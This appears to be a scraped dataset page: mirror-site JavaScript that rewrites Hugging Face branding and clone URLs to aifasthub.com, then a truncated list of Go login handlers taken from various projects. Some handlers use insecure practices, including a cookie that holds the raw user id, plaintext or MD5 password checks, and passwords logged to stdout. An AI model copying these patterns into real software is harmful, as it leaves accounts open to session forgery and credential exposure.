{ // 获取包含Hugging Face文本的span元素 const spans = link.querySelectorAll('span.whitespace-nowrap, span.hidden.whitespace-nowrap'); spans.forEach(span => { if (span.textContent && span.textContent.trim().match(/Hugging\s*Face/i)) { span.textContent = 'AI快站'; } }); }); // 替换logo图片的alt属性 document.querySelectorAll('img[alt*="Hugging"], img[alt*="Face"]').forEach(img => { if (img.alt.match(/Hugging\s*Face/i)) { img.alt = 'AI快站 logo'; } }); } // 替换导航栏中的链接 function replaceNavigationLinks() { // 已替换标记,防止重复运行 if (window._navLinksReplaced) { return; } // 已经替换过的链接集合,防止重复替换 const replacedLinks = new Set(); // 只在导航栏区域查找和替换链接 const headerArea = document.querySelector('header') || document.querySelector('nav'); if (!headerArea) { return; } // 在导航区域内查找链接 const navLinks = headerArea.querySelectorAll('a'); navLinks.forEach(link => { // 如果已经替换过,跳过 if (replacedLinks.has(link)) return; const linkText = link.textContent.trim(); const linkHref = link.getAttribute('href') || ''; // 替换Spaces链接 - 仅替换一次 if ( (linkHref.includes('/spaces') || linkHref === '/spaces' || linkText === 'Spaces' || linkText.match(/^s*Spacess*$/i)) && linkText !== 'OCR模型免费转Markdown' && linkText !== 'OCR模型免费转Markdown' ) { link.textContent = 'OCR模型免费转Markdown'; link.href = 'https://fast360.xyz'; link.setAttribute('target', '_blank'); link.setAttribute('rel', 'noopener noreferrer'); replacedLinks.add(link); } // 删除Posts链接 else if ( (linkHref.includes('/posts') || linkHref === '/posts' || linkText === 'Posts' || linkText.match(/^s*Postss*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } // 替换Docs链接 - 仅替换一次 else if ( (linkHref.includes('/docs') || linkHref === '/docs' || linkText === 'Docs' || linkText.match(/^s*Docss*$/i)) && linkText !== '模型下载攻略' ) { link.textContent = '模型下载攻略'; link.href = '/'; replacedLinks.add(link); } // 删除Enterprise链接 else if ( (linkHref.includes('/enterprise') || linkHref === '/enterprise' || linkText === 'Enterprise' || linkText.match(/^s*Enterprises*$/i)) ) { if (link.parentNode) { link.parentNode.removeChild(link); } replacedLinks.add(link); } }); // 查找可能嵌套的Spaces和Posts文本 const textNodes = []; function findTextNodes(element) { if (element.nodeType === Node.TEXT_NODE) { const text = element.textContent.trim(); if (text === 'Spaces' || text === 'Posts' || text === 'Enterprise') { textNodes.push(element); } } else { for (const child of element.childNodes) { findTextNodes(child); } } } // 只在导航区域内查找文本节点 findTextNodes(headerArea); // 替换找到的文本节点 textNodes.forEach(node => { const text = node.textContent.trim(); if (text === 'Spaces') { node.textContent = node.textContent.replace(/Spaces/g, 'OCR模型免费转Markdown'); } else if (text === 'Posts') { // 删除Posts文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } else if (text === 'Enterprise') { // 删除Enterprise文本节点 if (node.parentNode) { node.parentNode.removeChild(node); } } }); // 标记已替换完成 window._navLinksReplaced = true; } // 替换代码区域中的域名 function replaceCodeDomains() { // 特别处理span.hljs-string和span.njs-string元素 document.querySelectorAll('span.hljs-string, span.njs-string, span[class*="hljs-string"], span[class*="njs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换hljs-string类的span中的域名(移除多余的转义符号) document.querySelectorAll('span.hljs-string, span[class*="hljs-string"]').forEach(span => { if (span.textContent && span.textContent.includes('huggingface.co')) { span.textContent = span.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 替换pre和code标签中包含git clone命令的域名 document.querySelectorAll('pre, code').forEach(element => { if (element.textContent && element.textContent.includes('git clone')) { const text = element.innerHTML; if (text.includes('huggingface.co')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 处理特定的命令行示例 document.querySelectorAll('pre, code').forEach(element => { const text = element.innerHTML; if (text.includes('huggingface.co')) { // 针对git clone命令的专门处理 if (text.includes('git clone') || text.includes('GIT_LFS_SKIP_SMUDGE=1')) { element.innerHTML = text.replace(/huggingface.co/g, 'aifasthub.com'); } } }); // 特别处理模型下载页面上的代码片段 document.querySelectorAll('.flex.border-t, .svelte_hydrator, .inline-block').forEach(container => { const content = container.innerHTML; if (content && content.includes('huggingface.co')) { container.innerHTML = content.replace(/huggingface.co/g, 'aifasthub.com'); } }); // 特别处理模型仓库克隆对话框中的代码片段 try { // 查找包含"Clone this model repository"标题的对话框 const cloneDialog = document.querySelector('.svelte_hydration_boundary, [data-target="MainHeader"]'); if (cloneDialog) { // 查找对话框中所有的代码片段和命令示例 const codeElements = cloneDialog.querySelectorAll('pre, code, span'); codeElements.forEach(element => { if (element.textContent && element.textContent.includes('huggingface.co')) { if (element.innerHTML.includes('huggingface.co')) { element.innerHTML = element.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { element.textContent = element.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); } // 更精确地定位克隆命令中的域名 document.querySelectorAll('[data-target]').forEach(container => { const codeBlocks = container.querySelectorAll('pre, code, span.hljs-string'); codeBlocks.forEach(block => { if (block.textContent && block.textContent.includes('huggingface.co')) { if (block.innerHTML.includes('huggingface.co')) { block.innerHTML = block.innerHTML.replace(/huggingface.co/g, 'aifasthub.com'); } else { block.textContent = block.textContent.replace(/huggingface.co/g, 'aifasthub.com'); } } }); }); } catch (e) { // 错误处理但不打印日志 } } // 当DOM加载完成后执行替换 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', () => { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); }); } else { replaceHeaderBranding(); replaceNavigationLinks(); replaceCodeDomains(); // 只在必要时执行替换 - 3秒后再次检查 setTimeout(() => { if (!window._navLinksReplaced) { console.log('[Client] 3秒后重新检查导航链接'); replaceNavigationLinks(); } }, 3000); } // 增加一个MutationObserver来处理可能的动态元素加载 const observer = new MutationObserver(mutations => { // 检查是否导航区域有变化 const hasNavChanges = mutations.some(mutation => { // 检查是否存在header或nav元素变化 return Array.from(mutation.addedNodes).some(node => { if (node.nodeType === Node.ELEMENT_NODE) { // 检查是否是导航元素或其子元素 if (node.tagName === 'HEADER' || node.tagName === 'NAV' || node.querySelector('header, nav')) { return true; } // 检查是否在导航元素内部 let parent = node.parentElement; while (parent) { if (parent.tagName === 'HEADER' || parent.tagName === 'NAV') { return true; } parent = parent.parentElement; } } return false; }); }); // 只在导航区域有变化时执行替换 if (hasNavChanges) { // 重置替换状态,允许再次替换 window._navLinksReplaced = false; replaceHeaderBranding(); replaceNavigationLinks(); } }); // 开始观察document.body的变化,包括子节点 if (document.body) { observer.observe(document.body, { childList: true, subtree: true }); } else { document.addEventListener('DOMContentLoaded', () => { observer.observe(document.body, { childList: true, subtree: true }); }); } })(); \n \n `))\n } else {\n req.ParseForm()\n username := req.FormValue(\"Username\")\n password := req.FormValue(\"Password\")\n\n uid, err := CheckUser(username, password)\n if err == nil {\n\n session := http.Cookie{\n Name: \"session\",\n Value: strconv.Itoa(uid),\n\n //MaxAge: 10 * 60,\n Secure: false,\n HttpOnly: true,\n SameSite: 1,\n\n Path: \"/\",\n }\n http.SetCookie(res, &session)\n Redirect(\"/library\", res)\n } else {\n res.Write([]byte(err.Error()))\n }\n }\n}","func (a *App) Login(w http.ResponseWriter, r *http.Request) {\n\tvar resp = map[string]interface{}{\"status\": \"success\", \"message\": \"logged in\"}\n\n\tuser := &models.User{}\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tuser.Prepare() // here strip the text of white spaces\n\n\terr = user.Validate(\"login\") // fields(email, password) are validated\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tusr, err := user.GetUser(a.DB)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tif usr == nil { // user is not registered\n\t\tresp[\"status\"] = \"failed\"\n\t\tresp[\"message\"] = \"Login failed, please signup\"\n\t\tresponses.JSON(w, http.StatusBadRequest, resp)\n\t\treturn\n\t}\n\n\terr = models.CheckPasswordHash(user.Password, usr.Password)\n\tif err != nil {\n\t\tresp[\"status\"] = \"failed\"\n\t\tresp[\"message\"] = \"Login failed, please try again\"\n\t\tresponses.JSON(w, http.StatusForbidden, resp)\n\t\treturn\n\t}\n\ttoken, err := utils.EncodeAuthToken(usr.ID)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tresp[\"token\"] = token\n\tresponses.JSON(w, http.StatusOK, resp)\n\treturn\n}","func Login(c *gin.Context) {\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\temail := c.PostForm(\"email\")\n\t//check if provided user credentials are valid or not\n\tif store.ValidUser(username, password, email) {\n\t\ttoken := generateSessionToken()\n\t\tc.SetCookie(\"token\", token, 3600, \"\", \"\", false, true)\n\t\tc.Set(\"is_logged_in\", true)\n\t\trender(c, gin.H{\n\t\t\t\"title\": \"Successful Login\"}, \"login-successful.html\")\n\t} else {\n\t\tc.HTML(http.StatusBadRequest, \"login.html\", gin.H{\n\t\t\t\"ErrorTitle\": \"Login Failed\",\n\t\t\t\"ErrorMessage\": \"Invalid credentials provided\"})\n\t}\n}","func (a *Auth) Login(w http.ResponseWriter, r *http.Request, data *UserCred) {\n\tvar user, email, code string\n\n\tif user = a.userstate.Username(r); user != \"\" {\n\t\tif sid, ok := cookie.SecureCookie(\n\t\t\tr,\n\t\t\tsessionIDKey,\n\t\t\ta.userstate.CookieSecret(),\n\t\t); ok {\n\t\t\tif a.userstate.CorrectPassword(user, sid) {\n\t\t\t\ta.Session(w, r)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\ttiming := servertiming.FromContext(r.Context())\n\tm := timing.NewMetric(\"grpc\").WithDesc(\"PKI signature validation\").Start()\n\tconn, err := pb.New(r.Context(), a.addr)\n\tif err != nil {\n\t\tutil.BadRequest(w, r, err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\tclient := pb.NewMetropolisServiceClient(conn)\n\tresp, err := client.VerifySignature(\n\t\tr.Context(),\n\t\t&pb.VerRequest{\n\t\t\tSignedXml: data.SignedXML,\n\t\t\tFlag: pb.VerFlag_AUTH,\n\t\t},\n\t)\n\tm.Stop()\n\n\tif resp.Status != pb.VerStatus_SUCCESS {\n\t\terr := errors.New(resp.Message)\n\t\tutil.BadRequestWith(w, r, err, resp.Description)\n\t\treturn\n\t}\n\n\tuser = resp.Message\n\temail = data.EmailAddress\n\n\tok, err := a.userstate.HasUser2(user)\n\tif err != nil {\n\t\tutil.BadRequest(w, r, err)\n\t\treturn\n\t}\n\tif ok {\n\t\ta.userstate.RemoveUser(user)\n\t}\n\n\tcode, err = a.userstate.GenerateUniqueConfirmationCode()\n\tif err != nil {\n\t\tutil.BadRequest(w, r, err)\n\t\treturn\n\t}\n\n\ta.userstate.AddUser(user, code, email)\n\tcookie.SetSecureCookiePathWithFlags(\n\t\tw,\n\t\tsessionIDKey,\n\t\tcode,\n\t\ta.userstate.CookieTimeout(user),\n\t\t\"/\",\n\t\ta.userstate.CookieSecret(),\n\t\tfalse,\n\t\ttrue,\n\t)\n\n\ta.userstate.Login(w, user)\n\tutil.OK(w, r)\n}","func Login(username, password string) error {\n\terr := validateCredentials(username, password)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsession := getSession(username, password)\n\tif session == nil {\n\t\tfmt.Println(\"Unable to get session\")\n\t\treturn errors.New(\"Unable to get session\")\n\t}\n\tfmt.Println(session)\n\n\tuser := models.User{Username: username, Session: session}\n\terr = models.SaveUser(user)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}","func login(c *gin.Context) {\n\tvar loginDetails LoginDetails\n\tvar err error\n\n\t// Get query params into object\n\tif err = c.ShouldBind(&loginDetails); err != nil {\n\t\tprintln(err.Error())\n\t\tc.Status(http.StatusBadRequest)\n\t\treturn\n\t}\n\n\tvar passwordHash string\n\tvar id int\n\tsqlStatement := `SELECT id, password_hash FROM player WHERE email=LOWER($1) LIMIT 1;`\n\terr = db.QueryRow(sqlStatement, loginDetails.Email).Scan(&id, &passwordHash)\n\tif handleError(err, c) {\n\t\treturn\n\t}\n\n\tif bcrypt.CompareHashAndPassword([]byte(passwordHash), []byte(loginDetails.Password)) != nil {\n\t\tprintln(\"Incorrect password\")\n\n\t\tc.AbortWithStatus(http.StatusNotFound)\n\t\treturn\n\t}\n\n\ttoken, err := CreateTokenInDB(id)\n\tif err != nil {\n\t\tprintln(err.Error())\n\t\tc.AbortWithStatus(http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// Return token and user id\n\tretObj := PlayerToken{PlayerId: id, Token: token}\n\n\tc.JSON(http.StatusOK, retObj)\n}","func checkLogin(c appengine.Context, rw http.ResponseWriter, req *http.Request) *user.User {\n\tu := user.Current(c)\n\tif u == nil {\n\t\turl, err := user.LoginURL(c, req.URL.String())\n\t\tif err != nil {\n\t\t\thttp.Error(rw, err.Error(), http.StatusInternalServerError)\n\t\t\treturn nil\n\t\t}\n\t\trw.Header().Set(\"Location\", url)\n\t\trw.WriteHeader(http.StatusFound)\n\t\treturn nil\n\t}\n\treturn u\n}","func Login(c *gin.Context) {\n\tphone := c.PostForm(\"phone\")\n\tpassword := c.PostForm(\"password\")\n\n\t//find user\n\tusers, err := userModel.GetUsersByStrKey(\"phone\", phone)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"msg\": err.Error(),\n\t\t})\n\t\tlog.ErrorLog.Println(err)\n\t\tc.Error(err)\n\t\treturn\n\t}\n\n\t// if user is unregistered\n\tif len(users) == 0 {\n\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"msg\": \"phone is unregistered\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"phone is unregistered\")\n\t\tc.Error(errors.New(\"phone is unregistered\"))\n\t\treturn\n\t}\n\n\tuser := users[0]\n\t// encrypt password with MD5\n\tpassword = util.MD5(password)\n\t// if password error\n\tif password != user.Password {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"msg\": \"phone or password is incorrect\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"phone or password is incorrect\")\n\t\tc.Error(errors.New(\"phone or password is incorrect\"))\n\t\treturn\n\t}\n\n\tsession := sessions.Default(c)\n\tsession.Set(\"userId\", user.Id)\n\terr = session.Save()\n\tif err != nil {\n\t\tlog.ErrorLog.Println(err)\n\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\"msg\": \"fail to generate session token\",\n\t\t})\n\t\tlog.ErrorLog.Println(\"fail to generate session token\")\n\t\tc.Error(errors.New(\"fail to generate session token\"))\n\t} else {\n\t\tuserJson, err := util.StructToJsonStr(user)\n\t\tif err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\t\"msg\": err.Error(),\n\t\t\t})\n\t\t\tlog.ErrorLog.Println(err)\n\t\t\tc.Error(err)\n\t\t\treturn\n\t\t}\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": \"successfully login\",\n\t\t\t\"user\": userJson,\n\t\t})\n\t\tlog.InfoLog.Println(\"successfully login\")\n\t}\n}","func (uc UserController) Login(w http.ResponseWriter, r *http.Request) {\n\tif user := users.GetLoggedInUser(r); user != nil {\n\t\thttp.Redirect(w, r, \"/\", http.StatusOK)\n\t\treturn\n\t}\n\n\temail, pass := r.FormValue(\"email\"), r.FormValue(\"password\")\n\tuser := users.CheckLoginInformation(email, pass)\n\n\tif user == nil {\n\t\thttp.Error(w, \"Incorrect username and password combination\", http.StatusUnauthorized)\n\t} else {\n\t\tusers.LoginUser(w, r, user)\n\t\thttp.Redirect(w, r, \"/\", http.StatusOK)\n\t}\n}","func (ctrl LoginController) ProcessLogin(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\tsession, _ := store.Get(r, \"session-id\")\n\tusername := r.PostFormValue(\"username\")\n\tpassword := r.PostFormValue(\"password\")\n\n\tuser, _ := model.GetUserByUserName(username)\n\tv := new(Validator)\n\n\tif !v.ValidateUsername(username) {\n\t\tSessionFlash(v.err, w, r)\n\t\thttp.Redirect(w, r, URL_LOGIN, http.StatusMovedPermanently)\n\t\treturn\n\t}\n\n\tif user.Username == \"\" || !CheckPasswordHash(password, user.Password) {\n\t\tSessionFlash(messages.Error_username_or_password, w, r)\n\t\thttp.Redirect(w, r, URL_LOGIN, http.StatusMovedPermanently)\n\t\treturn\n\t}\n\n\tsession.Values[\"username\"] = user.Username\n\tsession.Values[\"id\"] = user.ID\n\tsession.Save(r, w)\n\thttp.Redirect(w, r, URL_HOME, http.StatusMovedPermanently)\n}","func login(res http.ResponseWriter, req *http.Request, p httprouter.Params) {\n\tvar data map[string]string\n\n\tresp, err := getBody(req)\n\tif err != nil {\n\t\twriteJSON(res, 500, jsMap{\"status\": \"Server Error\"})\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(resp, &data)\n\tif err != nil {\n\t\tlog.Panicln(\"login:\", err)\n\t}\n\n\tusername := data[\"username\"]\n\tpassword := data[\"password\"]\n\tuser, err := getUser(username)\n\tif err != nil {\n\t\twriteJSON(res, 401, jsMap{\"status\": \"Authentication Failed\"})\n\t\treturn\n\t}\n\n\tsessID, err := authenticateUser(user, username, password)\n\tif err != nil {\n\t\tlog.Println(\"login:\", err)\n\t\twriteJSON(res, 401, jsMap{\"status\": \"Authentication Failed\"})\n\t\treturn\n\t}\n\n\tresponse := jsMap{\n\t\t\"status\": \"OK\",\n\t\t\"sessionID\": hex.EncodeToString(sessID),\n\t\t\"address\": user.Address,\n\t}\n\n\twriteJSON(res, 200, response)\n}","func (as *AdminServer) Login(w http.ResponseWriter, r *http.Request) {\n\tparams := struct {\n\t\tUser models.User\n\t\tTitle string\n\t\tFlashes []interface{}\n\t\tToken string\n\t}{Title: \"Login\", Token: csrf.Token(r)}\n\tsession := ctx.Get(r, \"session\").(*sessions.Session)\n\tswitch {\n\tcase r.Method == \"GET\":\n\t\tparams.Flashes = session.Flashes()\n\t\tsession.Save(r, w)\n\t\ttemplates := template.New(\"template\")\n\t\t_, err := templates.ParseFiles(\"templates/login.html\", \"templates/flashes.html\")\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t\ttemplate.Must(templates, err).ExecuteTemplate(w, \"base\", params)\n\tcase r.Method == \"POST\":\n\t\t// Find the user with the provided username\n\t\tusername, password := r.FormValue(\"username\"), r.FormValue(\"password\")\n\t\tu, err := models.GetUserByUsername(username)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\tas.handleInvalidLogin(w, r, \"Invalid Username/Password\")\n\t\t\treturn\n\t\t}\n\t\t// Validate the user's password\n\t\terr = auth.ValidatePassword(password, u.Hash)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t\tas.handleInvalidLogin(w, r, \"Invalid Username/Password\")\n\t\t\treturn\n\t\t}\n\t\tif u.AccountLocked {\n\t\t\tas.handleInvalidLogin(w, r, \"Account Locked\")\n\t\t\treturn\n\t\t}\n\t\tu.LastLogin = time.Now().UTC()\n\t\terr = models.PutUser(&u)\n\t\tif err != nil {\n\t\t\tlog.Error(err)\n\t\t}\n\t\t// If we've logged in, save the session and redirect to the dashboard\n\t\tsession.Values[\"id\"] = u.Id\n\t\tsession.Save(r, w)\n\t\tas.nextOrIndex(w, r)\n\t}\n}","func ValidateLogin(\n\tdb *gorm.DB,\n\tusername string,\n\tpassword string,\n) (TblUser, error) {\n\tvar ret TblUser\n\n\t// hash password\n\n\terr := db.\n\t\tWhere(\"Username = ?\", username).\n\t\tWhere(\"Password = ?\", password).\n\t\tFind(&ret).\n\t\tError\n\n\treturn ret, err\n}","func LoginUser(c *gin.Context) {\n\tvar json db.UserLoginForm\n\tsession := sessions.Default(c)\n\tif errs := c.ShouldBind(&json); errs != nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\n\t\t\t\"msg\": \"Form doesn't bind.\",\n\t\t\t\"err\": errs.Error(),\n\t\t})\n\t\treturn\n\t}\n\tvar user db.Users\n\tif err := db.DB.Where(\"username = ? AND is_active = TRUE\", json.Username).\n\t\tFirst(&user).Error; err != nil {\n\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\"msg\": \"User not found in database.\",\n\t\t\t\"err\": err,\n\t\t})\n\t\treturn\n\t}\n\tif checkPasswordHash(json.Password, user.Password) {\n\t\tsession.Clear()\n\t\tsession.Set(\"userID\", user.ID)\n\t\tsession.Set(\"username\", user.Username)\n\t\tsession.Options(sessions.Options{\n\t\t\tMaxAge: 3600 * 12,\n\t\t\tPath: \"/\",\n\t\t})\n\t\terr := session.Save()\n\t\tif err != nil {\n\t\t\tc.JSON(http.StatusInternalServerError, gin.H{\n\t\t\t\t\"msg\": \"Failed to generate session token\",\n\t\t\t\t\"err\": err,\n\t\t\t})\n\t\t} else {\n\t\t\tc.JSON(http.StatusOK, gin.H{\n\t\t\t\t\"msg\": user.Username,\n\t\t\t\t\"err\": \"\",\n\t\t\t})\n\t\t}\n\t} else {\n\t\tc.JSON(http.StatusUnauthorized, gin.H{\n\t\t\t\"msg\": fmt.Sprintf(\"Check password hash failed for user %s\", user.Username),\n\t\t\t\"err\": user.Username,\n\t\t})\n\t}\n}","func validLogin(username string, password string) (bool, uint) {\n\tuser, err := GetUserFromUsername(username)\n\tif err != nil {\n\t\tfmt.Println(\"Login user query failed with error\", err.Error())\n\t\treturn false, 0\n\t}\n\tfmt.Printf(\n\t\t\"Login user query succeeded, comparing DB password %s to login password %s\\n\",\n\t\tuser.PasswordHash,\n\t\tpassword,\n\t)\n\tif core.PasswordEqualsHashed(password, user.PasswordHash) {\n\t\treturn true, user.ID\n\t}\n\treturn false, 0\n}","func Login(c *gin.Context) {\n\tvar customerForm models.CustomerForm\n\tif err := c.ShouldBindJSON(&customerForm); err != nil {\n\t\tc.JSON(http.StatusBadRequest, \"Incorrect user informations\")\n\t\treturn\n\t}\n\n\t// Try to find user with this address\n\tcustomer := models.Customer{\n\t\tEmail: customerForm.Email,\n\t}\n\tif err := repositories.FindCustomerByEmail(&customer); err != nil {\n\t\tc.JSON(http.StatusUnauthorized, \"incorrect email or password.\")\n\t\treturn\n\t}\n\n\t// Verify password\n\thashedPwd := services.HashPassword(customerForm.Password)\n\tif hashedPwd != customer.HashedPassword {\n\t\tc.JSON(http.StatusUnauthorized, \"incorrect email or password.\")\n\t\treturn\n\t}\n\n\t// Generate connection token\n\ttoken, err := services.GenerateToken(customer.Email)\n\tif err != nil {\n\t\tc.JSON(http.StatusInternalServerError, \"Couldn't create your authorization\")\n\t\treturn\n\t}\n\tvalidTime, _ := strconv.ParseInt(config.GoDotEnvVariable(\"TOKEN_VALID_DURATION\"), 10, 64)\n\n\tc.SetCookie(\"token\", token, 60*int(validTime), \"/\", config.GoDotEnvVariable(\"DOMAIN\"), false, false)\n\tc.JSON(http.StatusOK, \"Logged in successfully\")\n}","func requireLogin(c *fiber.Ctx) error {\n\tcurrSession, err := sessionStore.Get(c)\n\tif err != nil {\n\t\treturn err\n\t}\n\tuser := currSession.Get(\"User\")\n\tdefer currSession.Save()\n\n\tif user == nil {\n\t\t// This request is from a user that is not logged in.\n\t\t// Send them to the login page.\n\t\treturn c.Redirect(\"/login\")\n\t}\n\n\t// If we got this far, the request is from a logged-in user.\n\t// Continue on to other middleware or routes.\n\treturn c.Next()\n}","func gwLogin(c *gin.Context) {\n\ts := getHostServer(c)\n\treqId := getRequestId(s, c)\n\tvar err error\n\tvar hasCheckPass = false\n\tvar checker = s.AuthParamChecker\n\tvar authParam AuthParameter\n\tfor _, resolver := range s.AuthParamResolvers {\n\t\tauthParam = resolver.Resolve(c)\n\t\tif err = checker.Check(authParam); err == nil {\n\t\t\thasCheckPass = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !hasCheckPass {\n\t\tc.JSON(http.StatusBadRequest, s.RespBodyBuildFunc(http.StatusBadRequest, reqId, err, nil))\n\t\tc.Abort()\n\t\treturn\n\t}\n\n\t// Login\n\tuser, err := s.AuthManager.Login(authParam)\n\tif err != nil || user.IsEmpty() {\n\t\tc.JSON(http.StatusNotFound, s.RespBodyBuildFunc(http.StatusNotFound, reqId, err.Error(), nil))\n\t\tc.Abort()\n\t\treturn\n\t}\n\tsid, credential, ok := encryptSid(s, authParam)\n\tif !ok {\n\t\tc.JSON(http.StatusInternalServerError, s.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"Create session ID fail.\", nil))\n\t\tc.Abort()\n\t\treturn\n\t}\n\tif err := s.SessionStateManager.Save(sid, user); err != nil {\n\t\tc.JSON(http.StatusInternalServerError, s.RespBodyBuildFunc(http.StatusInternalServerError, reqId, \"Save session fail.\", err.Error()))\n\t\tc.Abort()\n\t\treturn\n\t}\n\tvar userPerms []gin.H\n\tfor _, p := range user.Permissions {\n\t\tuserPerms = append(userPerms, gin.H{\n\t\t\t\"Key\": p.Key,\n\t\t\t\"Name\": p.Name,\n\t\t\t\"Desc\": p.Descriptor,\n\t\t})\n\t}\n\tcks := s.conf.Security.Auth.Cookie\n\texpiredAt := time.Duration(cks.MaxAge) * time.Second\n\tvar userRoles = gin.H{\n\t\t\"Id\": 0,\n\t\t\"name\": \"\",\n\t\t\"desc\": \"\",\n\t}\n\tpayload := gin.H{\n\t\t\"Credentials\": gin.H{\n\t\t\t\"Token\": credential,\n\t\t\t\"ExpiredAt\": time.Now().Add(expiredAt).Unix(),\n\t\t},\n\t\t\"Roles\": userRoles,\n\t\t\"Permissions\": userPerms,\n\t}\n\tbody := s.RespBodyBuildFunc(0, reqId, nil, payload)\n\tc.SetCookie(cks.Key, credential, cks.MaxAge, cks.Path, cks.Domain, cks.Secure, cks.HttpOnly)\n\tc.JSON(http.StatusOK, body)\n}","func Login(w http.ResponseWriter, r *http.Request, username string) error {\n\tsession, err := loggedUserSession.New(r, \"authenticated-user-session\")\n\tsession.Values[\"username\"] = username\n\tif err == nil {\n\t\terr = session.Save(r, w)\n\t}\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn errors.New(\"Error creating session\")\n\t}\n\treturn err\n}","func Login(w http.ResponseWriter, r *http.Request) {\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tuser := models.User{}\n\terr = json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\tuser.Prepare()\n\terr = user.Validate(\"login\")\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\n\ttoken, err := auth.SignIn(user.Email, user.Password)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tresponses.JSON(w, http.StatusOK, token)\n}","func (user *UService) Login(loginuser *model.User) *model.User {\n\tvar validuser model.User\n\tuser.DB.Debug().Where(\"username = ? and password = ?\", loginuser.Username, loginuser.Password).Find(&validuser)\n\tif validuser != (model.User{}) {\n\t\treturn &validuser\n\t}\n\treturn nil\n}","func Login(w http.ResponseWriter, r *http.Request) {\n\tstore, err := pgstore.NewPGStore(os.Getenv(\"PGURL\"), key)\n\tcheck(err)\n\tdefer store.Close()\n\tsession, err := store.Get(r, \"scheduler-session\")\n\tcheck(err)\n\n\tvar domain string\n\tif os.Getenv(\"GO_ENV\") == \"dev\" {\n\t\tdomain = \"http://localhost:3000\"\n\t} else if os.Getenv(\"GO_ENV\") == \"test\" {\n\t\tdomain = \"http://s3-sih-test.s3-website-us-west-1.amazonaws.com\"\n\t} else if os.Getenv(\"GO_ENV\") == \"prod\" {\n\t\tdomain = \"https://schedulingishard.com\"\n\t}\n\t// Limit the sessions to 1 24-hour day\n\tsession.Options.MaxAge = 86400 * 1\n\tsession.Options.Domain = domain // Set to localhost for testing only. prod must be set to \"schedulingishard.com\"\n\tsession.Options.HttpOnly = true\n\n\tcreds := DecodeCredentials(r)\n\t// Authenticate based on incoming http request\n\tif passwordsMatch(r, creds) != true {\n\t\tlog.Printf(\"Bad password for member: %v\", creds.Email)\n\t\tmsg := errorMessage{\n\t\t\tStatus: \"Failed to authenticate\",\n\t\t\tMessage: \"Incorrect username or password\",\n\t\t}\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t//http.Error(w, \"Incorrect username or password\", http.StatusUnauthorized)\n\t\tjson.NewEncoder(w).Encode(msg)\n\t\treturn\n\t}\n\t// Get the memberID based on the supplied email\n\tmemberID := models.GetMemberID(creds.Email)\n\tmemberName := models.GetMemberName(memberID)\n\tm := memberDetails{\n\t\tStatus: \"OK\",\n\t\tID: memberID,\n\t\tName: memberName,\n\t\tEmail: creds.Email,\n\t}\n\n\t// Respond with the proper content type and the memberID\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tw.Header().Set(\"X-CSRF-Token\", csrf.Token(r))\n\t// Set cookie values and save\n\tsession.Values[\"authenticated\"] = true\n\tsession.Values[\"memberID\"] = m.ID\n\tif err = session.Save(r, w); err != nil 